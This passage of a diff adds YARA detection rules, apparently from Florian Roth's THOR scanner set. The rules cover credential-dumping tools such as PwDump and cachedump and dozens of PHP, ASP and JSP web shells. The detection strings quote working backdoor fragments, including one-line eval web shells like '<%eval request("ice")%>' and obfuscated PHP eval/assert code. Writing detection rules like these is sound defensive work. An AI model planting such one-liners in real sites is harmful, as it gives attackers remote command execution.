+		$x2 = "lsremora64.dll" fullword ascii
+		$x3 = "PwDumpError:999999" fullword wide
+		$x4 = "PwDumpError" fullword wide
+		$x5 = "lsremora.dll" fullword ascii
+
+		$s1 = ":\\\\.\\pipe\\%s" fullword ascii
+		$s2 = "x%s_history_%d:%d" fullword wide
+		$s3 = "Using pipe %s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule servpw {
+	meta:
+		description = "Detects a tool used by APT groups - file servpw.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "97b39ac28794a7610ed83ad65e28c605397ea7be878109c35228c126d43e2f46"
+		hash2 = "0f340b471ef34c69f5413540acd3095c829ffc4df38764e703345eb5e5020301"
+	strings:
+		$s1 = "Unable to open target process: %d, pid %d" fullword ascii
+		$s2 = "LSASS.EXE" fullword wide
+		$s3 = "WriteProcessMemory failed: %d" fullword ascii
+		$s4 = "lsremora64.dll" fullword ascii
+		$s5 = "CreateRemoteThread failed: %d" fullword ascii
+		$s6 = "Thread code: %d, path: %s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 3 of them ) or ( all of them )
+}
+
+rule fgexec {
+	meta:
+		description = "Detects a tool used by APT groups - file fgexec.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "8697897bee415f213ce7bc24f22c14002d660b8aaffab807490ddbf4f3f20249"
+	strings:
+		$x1 = "\\Release\\fgexec.pdb" ascii
+		$x2 = "fgexec Remote Process Execution Tool" fullword ascii
+		$x3 = "fgexec CallNamedPipe failed" fullword ascii
+		$x4 = "fizzgig and the mighty foofus.net team" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule cachedump {
+	meta:
+		description = "Detects a tool used by APT groups - from files cachedump.exe, cachedump64.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		super_rule = 1
+		hash1 = "cf58ca5bf8c4f87bb67e6a4e1fb9e8bada50157dacbd08a92a4a779e40d569c4"
+		hash2 = "e38edac8c838a043d0d9d28c71a96fe8f7b7f61c5edf69f1ce0c13e141be281f"
+	strings:
+		$s1 = "Failed to open key SECURITY\\Cache in RegOpenKeyEx. Is service running as SYSTEM ? Do you ever log on domain ? " fullword ascii
+		$s2 = "Unable to open LSASS.EXE process" fullword ascii
+		$s3 = "Service not found. Installing CacheDump Service (%s)" fullword ascii
+		$s4 = "CacheDump service successfully installed." fullword ascii
+		$s5 = "Kill CacheDump service (shouldn't be used)" fullword ascii
+		$s6 = "cacheDump [-v | -vv | -K]" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 1 of them ) or ( 3 of them )
+}
+
+rule PwDump_B {
+	meta:
+		description = "Detects a tool used by APT groups - file PwDump.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "3c796092f42a948018c3954f837b4047899105845019fce75a6e82bc99317982"
+	strings:
+		$x1 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineName" fullword ascii
+		$x2 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword ascii
+		$x3 = "where -x targets a 64-bit host" fullword ascii
+		$x4 = "Couldn't delete target executable from remote machine: %d" fullword ascii
+
+		$s1 = "lsremora64.dll" fullword ascii
+		$s2 = "lsremora.dll" fullword ascii
+		$s3 = "servpw.exe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 1 of ($x*) ) or ( 3 of them )
+}
+/*
+
+   THOR APT Scanner - Web Shells Extract
+   This rulset is a subset of all hack tool rules included in our
+   APT Scanner THOR - the full featured APT scanner
+
+   Florian Roth
+   BSK Consulting GmbH
+
+   revision: 20160115
+
+	License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+
+*/
+
+rule Weevely_Webshell {
+	meta:
+		description = "Weevely Webshell - Generic Rule - heavily scrambled tiny web shell"
+		author = "Florian Roth"
+		reference = "http://www.ehacking.net/2014/12/weevely-php-stealth-web-backdoor-kali.html"
+		date = "2014/12/14"
+		score = 60
+	strings:
+		$php = "<?php" ascii
+		$s0 = /\$[a-z]{4} = \$[a-z]{4}\("[a-z][a-z]?",[\s]?"",[\s]?"/ ascii
+		$s1 = /\$[a-z]{4} = str_replace\("[a-z][a-z]?","","/ ascii
+		$s2 = /\$[a-z]{4}\.\$[a-z]{4}\.\$[a-z]{4}\.\$[a-z]{4}\)\)\); \$[a-z]{4}\(\);/ ascii
+		$s4 = /\$[a-z]{4}="[a-zA-Z0-9]{70}/ ascii
+	condition:
+		$php at 0 and all of ($s*) and filesize > 570 and filesize < 800
+}
+
+rule webshell_h4ntu_shell_powered_by_tsoi_ {
+	meta:
+		description = "Web Shell - file h4ntu shell [powered by tsoi].php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "06ed0b2398f8096f1bebf092d0526137"
+	strings:
+		$s0 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>Server Adress:</b"
+		$s3 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>User Info:</b> ui"
+		$s4 = "    <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><?= $info ?>: <?= "
+		$s5 = "<INPUT TYPE=\"text\" NAME=\"cmd\" value=\"<?php echo stripslashes(htmlentities($"
+	condition:
+		all of them
+}
+rule webshell_PHP_sql {
+	meta:
+		description = "Web Shell - file sql.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "2cf20a207695bbc2311a998d1d795c35"
+	strings:
+		$s0 = "$result=mysql_list_tables($db) or die (\"$h_error<b>\".mysql_error().\"</b>$f_"
+		$s4 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
+	condition:
+		all of them
+}
+rule webshell_PHP_a {
+	meta:
+		description = "Web Shell - file a.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e3b461f7464d81f5022419d87315a90d"
+	strings:
+		$s1 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\""
+		$s2 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>"
+		$s4 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p> " fullword
+	condition:
+		2 of them
+}
+rule webshell_iMHaPFtp_2 {
+	meta:
+		description = "Web Shell - file iMHaPFtp.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "12911b73bc6a5d313b494102abcf5c57"
+	strings:
+		$s8 = "if ($l) echo '<a href=\"' . $self . '?action=permission&amp;file=' . urlencode($"
+		$s9 = "return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAA"
+	condition:
+		1 of them
+}
+rule webshell_Jspspyweb {
+	meta:
+		description = "Web Shell - file Jspspyweb.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "4e9be07e95fff820a9299f3fb4ace059"
+	strings:
+		$s0 = "      out.print(\"<tr><td width='60%'>\"+strCut(convertPath(list[i].getPath()),7"
+		$s3 = "  \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control"
+	condition:
+		all of them
+}
+rule webshell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2 {
+	meta:
+		description = "Web Shell - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "49ad9117c96419c35987aaa7e2230f63"
+	strings:
+		$s0 = "die(\"\\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\\n"
+		$s1 = "Mode Shell v1.0</font></span></a></font><font face=\"Webdings\" size=\"6\" color"
+	condition:
+		1 of them
+}
+rule webshell_SimAttacker_Vrsion_1_0_0_priv8_4_My_friend {
+	meta:
+		description = "Web Shell - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
+	strings:
+		$s2 = "echo \"<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><fo"
+		$s3 = "fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
+	condition:
+		1 of them
+}
+rule webshell_phpshell_2_1_pwhash {
+	meta:
+		description = "Web Shell - file pwhash.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ba120abac165a5a30044428fac1970d8"
+	strings:
+		$s1 = "<tt>&nbsp;</tt>\" (space), \"<tt>[</tt>\" (left bracket), \"<tt>|</tt>\" (pi"
+		$s3 = "word: \"<tt>null</tt>\", \"<tt>yes</tt>\", \"<tt>no</tt>\", \"<tt>true</tt>\","
+	condition:
+		1 of them
+}
+rule webshell_PHPRemoteView {
+	meta:
+		description = "Web Shell - file PHPRemoteView.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "29420106d9a81553ef0d1ca72b9934d9"
+	strings:
+		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
+		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
+	condition:
+		1 of them
+}
+rule webshell_jsp_12302 {
+	meta:
+		description = "Web Shell - file 12302.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a3930518ea57d899457a62f372205f7f"
+	strings:
+		$s0 = "</font><%out.print(request.getRealPath(request.getServletPath())); %>" fullword
+		$s1 = "<%@page import=\"java.io.*,java.util.*,java.net.*\"%>" fullword
+		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_guo {
+	meta:
+		description = "Web Shell - file guo.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "9e69a8f499c660ee0b4796af14dc08f0"
+	strings:
+		$s0 = "<?php ($www= $_POST['ice'])!"
+		$s1 = "@preg_replace('/ad/e','@'.str_rot13('riny').'($ww"
+	condition:
+		1 of them
+}
+rule webshell_PHP_redcod {
+	meta:
+		description = "Web Shell - file redcod.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5c1c8120d82f46ff9d813fbe3354bac5"
+	strings:
+		$s0 = "H8p0bGFOEy7eAly4h4E4o88LTSVHoAglJ2KLQhUw" fullword
+		$s1 = "HKP7dVyCf8cgnWFy8ocjrP5ffzkn9ODroM0/raHm" fullword
+	condition:
+		all of them
+}
+rule webshell_remview_fix {
+	meta:
+		description = "Web Shell - file remview_fix.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a24b7c492f5f00e2a19b0fa2eb9c3697"
+	strings:
+		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
+		$s5 = "echo \"<P><hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n"
+	condition:
+		1 of them
+}
+rule webshell_asp_cmd {
+	meta:
+		description = "Web Shell - file cmd.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "895ca846858c315a3ff8daa7c55b3119"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
+		$s3 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+	condition:
+		1 of them
+}
+rule webshell_php_sh_server {
+	meta:
+		description = "Web Shell - file server.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 50
+		hash = "d87b019e74064aa90e2bb143e5e16cfa"
+	strings:
+		$s0 = "eval(getenv('HTTP_CODE'));" fullword
+	condition:
+		all of them
+}
+rule webshell_PH_Vayv_PH_Vayv {
+	meta:
+		description = "Web Shell - file PH Vayv.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "35fb37f3c806718545d97c6559abd262"
+	strings:
+		$s0 = "style=\"BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px in"
+		$s4 = "<font color=\"#858585\">SHOPEN</font></a></font><font face=\"Verdana\" style"
+	condition:
+		1 of them
+}
+rule webshell_caidao_shell_ice {
+	meta:
+		description = "Web Shell - file ice.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "6560b436d3d3bb75e2ef3f032151d139"
+	strings:
+		$s0 = "<%eval request(\"ice\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_cihshell_fix {
+	meta:
+		description = "Web Shell - file cihshell_fix.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3823ac218032549b86ee7c26f10c4cb5"
+	strings:
+		$s7 = "<tr style='background:#242424;' ><td style='padding:10px;'><form action='' encty"
+		$s8 = "if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhos"
+	condition:
+		1 of them
+}
+rule webshell_asp_shell {
+	meta:
+		description = "Web Shell - file shell.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e63f5a96570e1faf4c7b8ca6df750237"
+	strings:
+		$s7 = "<input type=\"submit\" name=\"Send\" value=\"GO!\">" fullword
+		$s8 = "<TEXTAREA NAME=\"1988\" ROWS=\"18\" COLS=\"78\"></TEXTAREA>" fullword
+	condition:
+		all of them
+}
+rule webshell_Private_i3lue {
+	meta:
+		description = "Web Shell - file Private-i3lue.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "13f5c7a035ecce5f9f380967cf9d4e92"
+	strings:
+		$s8 = "case 15: $image .= \"\\21\\0\\"
+	condition:
+		all of them
+}
+rule webshell_php_up {
+	meta:
+		description = "Web Shell - file up.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "7edefb8bd0876c41906f4b39b52cd0ef"
+	strings:
+		$s0 = "copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);" fullword
+		$s3 = "if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {" fullword
+		$s8 = "echo \"Uploaded file: \" . $HTTP_POST_FILES['userfile']['name'];" fullword
+	condition:
+		2 of them
+}
+rule webshell_Mysql_interface_v1_0 {
+	meta:
+		description = "Web Shell - file Mysql interface v1.0.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a12fc0a3d31e2f89727b9678148cd487"
+	strings:
+		$s0 = "echo \"<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\\\"return"
+	condition:
+		all of them
+}
+rule webshell_php_s_u {
+	meta:
+		description = "Web Shell - file s-u.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "efc7ba1a4023bcf40f5e912f1dd85b5a"
+	strings:
+		$s6 = "<a href=\"?act=do\"><font color=\"red\">Go Execute</font></a></b><br /><textarea"
+	condition:
+		all of them
+}
+rule webshell_phpshell_2_1_config {
+	meta:
+		description = "Web Shell - file config.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "bd83144a649c5cc21ac41b505a36a8f3"
+	strings:
+		$s1 = "; (choose good passwords!).  Add uses as simple 'username = \"password\"' lines." fullword
+	condition:
+		all of them
+}
+rule webshell_asp_EFSO_2 {
+	meta:
+		description = "Web Shell - file EFSO_2.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+	strings:
+		$s0 = "%8@#@&P~,P,PP,MV~4BP^~,NS~m~PXc3,_PWbSPU W~~[u3Fffs~/%@#@&~~,PP~~,M!PmS,4S,mBPNB"
+	condition:
+		all of them
+}
+rule webshell_jsp_up {
+	meta:
+		description = "Web Shell - file up.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "515a5dd86fe48f673b72422cccf5a585"
+	strings:
+		$s9 = "// BUG: Corta el fichero si es mayor de 640Ks" fullword
+	condition:
+		all of them
+}
+rule webshell_NetworkFileManagerPHP {
+	meta:
+		description = "Web Shell - file NetworkFileManagerPHP.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "acdbba993a5a4186fd864c5e4ea0ba4f"
+	strings:
+		$s9 = "  echo \"<br><center>All the data in these tables:<br> \".$tblsv.\" were putted "
+	condition:
+		all of them
+}
+rule webshell_Server_Variables {
+	meta:
+		description = "Web Shell - file Server Variables.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "47fb8a647e441488b30f92b4d39003d7"
+	strings:
+		$s7 = "<% For Each Vars In Request.ServerVariables %>" fullword
+		$s9 = "Variable Name</B></font></p>" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_ice_2 {
+	meta:
+		description = "Web Shell - file ice.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1d6335247f58e0a5b03e17977888f5f2"
+	strings:
+		$s0 = "<?php ${${eval($_POST[ice])}};?>" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_mdb {
+	meta:
+		description = "Web Shell - file mdb.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "fbf3847acef4844f3a0d04230f6b9ff9"
+	strings:
+		$s1 = "<% execute request(\"ice\")%>a " fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_guige {
+	meta:
+		description = "Web Shell - file guige.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "2c9f2dafa06332957127e2c713aacdd2"
+	strings:
+		$s0 = "if(damapath!=null &&!damapath.equals(\"\")&&content!=null"
+	condition:
+		all of them
+}
+rule webshell_phpspy2010 {
+	meta:
+		description = "Web Shell - file phpspy2010.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "14ae0e4f5349924a5047fed9f3b105c5"
+	strings:
+		$s3 = "eval(gzinflate(base64_decode("
+		$s5 = "//angel" fullword
+		$s8 = "$admin['cookiedomain'] = '';" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_ice {
+	meta:
+		description = "Web Shell - file ice.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d141e011a92f48da72728c35f1934a2b"
+	strings:
+		$s0 = "D,'PrjknD,J~[,EdnMP[,-4;DS6@#@&VKobx2ldd,'~JhC"
+	condition:
+		all of them
+}
+rule webshell_drag_system {
+	meta:
+		description = "Web Shell - file system.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "15ae237cf395fb24cf12bff141fb3f7c"
+	strings:
+		$s9 = "String sql = \"SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_"
+	condition:
+		all of them
+}
+rule webshell_DarkBlade1_3_asp_indexx {
+	meta:
+		description = "Web Shell - file indexx.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b7f46693648f534c2ca78e3f21685707"
+	strings:
+		$s3 = "Const strs_toTransform=\"command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCou"
+	condition:
+		all of them
+}
+rule webshell_phpshell3 {
+	meta:
+		description = "Web Shell - file phpshell3.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "76117b2ee4a7ac06832d50b2d04070b8"
+	strings:
+		$s2 = "<input name=\"nounce\" type=\"hidden\" value=\"<?php echo $_SESSION['nounce'];"
+		$s5 = "<p>Username: <input name=\"username\" type=\"text\" value=\"<?php echo $userna"
+		$s7 = "$_SESSION['output'] .= \"cd: could not change to: $new_dir\\n\";" fullword
+	condition:
+		2 of them
+}
+rule webshell_jsp_hsxa {
+	meta:
+		description = "Web Shell - file hsxa.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d0e05f9c9b8e0b3fa11f57d9ab800380"
+	strings:
+		$s0 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%><jsp:directive.page import=\"ja"
+	condition:
+		all of them
+}
+rule webshell_jsp_utils {
+	meta:
+		description = "Web Shell - file utils.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "9827ba2e8329075358b8e8a53e20d545"
+	strings:
+		$s0 = "ResultSet r = c.getMetaData().getTables(null, null, \"%\", t);" fullword
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+	condition:
+		all of them
+}
+rule webshell_asp_01 {
+	meta:
+		description = "Web Shell - file 01.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 50
+		hash = "61a687b0bea0ef97224c7bd2df118b87"
+	strings:
+		$s0 = "<%eval request(\"pass\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_404 {
+	meta:
+		description = "Web Shell - file 404.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d9fa1e8513dbf59fa5d130f389032a2d"
+	strings:
+		$s0 = "lFyw6pd^DKV^4CDRWmmnO1GVKDl:y& f+2"
+	condition:
+		all of them
+}
+rule webshell_webshell_cnseay02_1 {
+	meta:
+		description = "Web Shell - file webshell-cnseay02-1.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "95fc76081a42c4f26912826cb1bd24b1"
+	strings:
+		$s0 = "(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU"
+	condition:
+		all of them
+}
+rule webshell_php_fbi {
+	meta:
+		description = "Web Shell - file fbi.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1fb32f8e58c8deb168c06297a04a21f1"
+	strings:
+		$s7 = "erde types','Getallen','Datum en tijd','Tekst','Binaire gegevens','Netwerk','Geo"
+	condition:
+		all of them
+}
+rule webshell_B374kPHP_B374k {
+	meta:
+		description = "Web Shell - file B374k.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "bed7388976f8f1d90422e8795dff1ea6"
+	strings:
+		$s0 = "Http://code.google.com/p/b374k-shell" fullword
+		$s1 = "$_=str_rot13('tm'.'vas'.'yngr');$_=str_rot13(strrev('rqb'.'prq'.'_'.'46r'.'fno'"
+		$s3 = "Jayalah Indonesiaku & Lyke @ 2013" fullword
+		$s4 = "B374k Vip In Beautify Just For Self" fullword
+	condition:
+		1 of them
+}
+rule webshell_cmd_asp_5_1 {
+	meta:
+		description = "Web Shell - file cmd-asp-5.1.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
+	strings:
+		$s9 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
+	condition:
+		all of them
+}
+rule webshell_php_dodo_zip {
+	meta:
+		description = "Web Shell - file zip.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b7800364374077ce8864796240162ad5"
+	strings:
+		$s0 = "$hexdtime = '\\x' . $dtime[6] . $dtime[7] . '\\x' . $dtime[4] . $dtime[5] . '\\x"
+		$s3 = "$datastr = \"\\x50\\x4b\\x03\\x04\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
+	condition:
+		all of them
+}
+rule webshell_aZRaiLPhp_v1_0 {
+	meta:
+		description = "Web Shell - file aZRaiLPhp v1.0.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "26b2d3943395682e36da06ed493a3715"
+	strings:
+		$s5 = "echo \" <font color='#0000FF'>CHMODU \".substr(base_convert(@fileperms($"
+		$s7 = "echo \"<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><fo"
+	condition:
+		all of them
+}
+rule webshell_php_list {
+	meta:
+		description = "Web Shell - file list.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "922b128ddd90e1dc2f73088956c548ed"
+	strings:
+		$s1 = "// list.php = Directory & File Listing" fullword
+		$s2 = "    echo \"( ) <a href=?file=\" . $fichero . \"/\" . $filename . \">\" . $filena"
+		$s9 = "// by: The Dark Raver" fullword
+	condition:
+		1 of them
+}
+rule webshell_ironshell {
+	meta:
+		description = "Web Shell - file ironshell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
+	strings:
+		$s4 = "print \"<form action=\\\"\".$me.\"?p=cmd&dir=\".realpath('.').\""
+		$s8 = "print \"<td id=f><a href=\\\"?p=rename&file=\".realpath($file).\"&di"
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ee94952dc53d9a29bdf4ece54c7a7aa7"
+	strings:
+		$s0 = "<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');$M=$_POST[ice];IF($M==NuLl)HeaDeR('St"
+	condition:
+		all of them
+}
+rule webshell_ASP_aspydrv {
+	meta:
+		description = "Web Shell - file aspydrv.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "de0a58f7d1e200d0b2c801a94ebce330"
+	strings:
+		$s3 = "<%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thi"
+	condition:
+		all of them
+}
+rule webshell_jsp_web {
+	meta:
+		description = "Web Shell - file web.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "4bc11e28f5dccd0c45a37f2b541b2e98"
+	strings:
+		$s0 = "<%@page import=\"java.io.*\"%><%@page import=\"java.net.*\"%><%String t=request."
+	condition:
+		all of them
+}
+rule webshell_mysqlwebsh {
+	meta:
+		description = "Web Shell - file mysqlwebsh.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "babfa76d11943a22484b3837f105fada"
+	strings:
+		$s3 = " <TR><TD bgcolor=\"<? echo (!$CONNECT && $action == \"chparam\")?\"#660000\":\"#"
+	condition:
+		all of them
+}
+rule webshell_jspShell {
+	meta:
+		description = "Web Shell - file jspShell.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "0d5b5a17552254be6c1c8f1eb3a5fdc1"
+	strings:
+		$s0 = "<input type=\"checkbox\" name=\"autoUpdate\" value=\"AutoUpdate\" on"
+		$s1 = "onblur=\"document.shell.autoUpdate.checked= this.oldValue;"
+	condition:
+		all of them
+}
+rule webshell_Dx_Dx {
+	meta:
+		description = "Web Shell - file Dx.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
+	strings:
+		$s1 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s9 = "class=linelisting><nobr>POST (php eval)</td><"
+	condition:
+		1 of them
+}
+rule webshell_asp_ntdaddy {
+	meta:
+		description = "Web Shell - file ntdaddy.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c5e6baa5d140f73b4e16a6cfde671c68"
+	strings:
+		$s9 =  "if  FP  =  \"RefreshFolder\"  or  "
+		$s10 = "request.form(\"cmdOption\")=\"DeleteFolder\"  "
+	condition:
+		1 of them
+}
+rule webshell_MySQL_Web_Interface_Version_0_8 {
+	meta:
+		description = "Web Shell - file MySQL Web Interface Version 0.8.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "36d4f34d0a22080f47bb1cb94107c60f"
+	strings:
+		$s2 = "href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>"
+	condition:
+		all of them
+}
+rule webshell_elmaliseker_2 {
+	meta:
+		description = "Web Shell - file elmaliseker.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
+	strings:
+		$s1 = "<td<%if (FSO.GetExtensionName(path & \"\\\" & oFile.Name)=\"lnk\") or (FSO.GetEx"
+		$s6 = "<input type=button value=Save onclick=\"EditorCommand('Save')\"> <input type=but"
+	condition:
+		all of them
+}
+rule webshell_ASP_RemExp {
+	meta:
+		description = "Web Shell - file RemExp.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
+	strings:
+		$s0 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Reques"
+		$s1 = "Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal"
+	condition:
+		all of them
+}
+rule webshell_jsp_list1 {
+	meta:
+		description = "Web Shell - file list1.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8d9e5afa77303c9c01ff34ea4e7f6ca6"
+	strings:
